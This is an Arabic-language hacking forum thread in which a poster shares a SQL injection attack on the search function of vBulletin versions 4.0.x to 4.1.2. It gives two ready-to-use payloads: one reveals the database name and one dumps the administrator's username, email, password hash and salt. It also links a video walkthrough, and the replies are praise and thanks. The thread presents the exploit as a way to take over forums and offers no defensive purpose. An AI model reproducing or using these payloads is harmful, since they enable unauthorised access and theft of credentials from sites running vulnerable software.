vBulletin 4.0.x => 4.1.2 SQL Injection Vulnerability

[KaLa$nikoV]

السلام عليكم ورحمه الله وبركاته


الموضوع واضح من العنوان ثغره في المنتديات اصدار 4 لحتى اصدار 4.1.2

الثغره بمحرك البحث

نروح محرك البحث ونكتب استعلام الحقن

&cat[0]=1) UNION SELECT database()#

يظهر لنا الداتابيز
وهيك نجيب باس الادمن

&cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#

وهذا فيديو شرح

http://www.youtube.com/watch?v=fR9RGCqIPkc

مكتشف الثغره D4rkB1t

بالتوفيق

 

[Barhom Basri]

شكراً اخي العزيز

 

[JetLi]

يسلمووووووووووووووووا ولو انها طريقة متعبة ولكن لا بأس ، مجهود رائع رائع والله الفيبي معذبنا

 

[ChucK NoRRis]

خطيييييير يا فولكانو !!

ثغرة جديدة تنضاف لثفرات Vbulletin العديدة

 

[dr sow]

قمة في الابدع فولكانو كما قال الاخ
ال في بي معدبنا

 

[bleu moon]

مشكوور يا اخي فولكانو وآسف على الغياب، رح اقولك السبب بعدين
​

 

[silentcntrl]

شكرا . بارك الله فيك

 

[merci1994]

يسلموووو يداك يامبدع